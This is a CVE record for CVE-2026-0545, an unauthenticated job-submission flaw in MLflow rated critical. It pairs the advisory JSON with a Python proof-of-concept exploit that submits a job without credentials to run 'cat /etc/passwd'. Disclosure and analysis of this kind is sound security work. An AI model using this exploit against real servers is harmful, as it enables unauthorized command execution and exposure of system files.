CVE-2026-0545

import requests def exploit(target_url): # The endpoint vulnerable to auth bypass endpoint = f"{target_url}/ajax-api/3.0/jobs/submit" # Malicious payload to execute a command (assuming a whitelisted job) # Replace 'run_shell' with actual whitelisted function name if known payload = { "name": "malicious_job", "entrypoint": "run_shell", "parameters": {"command": "cat /etc/passwd"} } try: # Send request without authentication headers response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Job submitted without auth.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:5000" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-0545", "sourceIdentifier": "[email protected]", "published": "2026-04-03T18:16:21.540", "lastModified": "2026-04-21T01:45:33.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In mlflow/mlflow, the FastAPI job endpoints under `/ajax-api/3.0/jobs/*` are not protected by authentication or authorization when the `basic-auth` app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (`MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true`) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mlflow:-:*:*:*:*:*:*:*", "matchCriteriaId": "F18F1880-033C-4E18-913C-6C5356427ABB"}]}]}], "references": [{"url": "https://huntr.com/bounties/b2e5b028-9541-4d29-8703-a76f1a3734d8", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}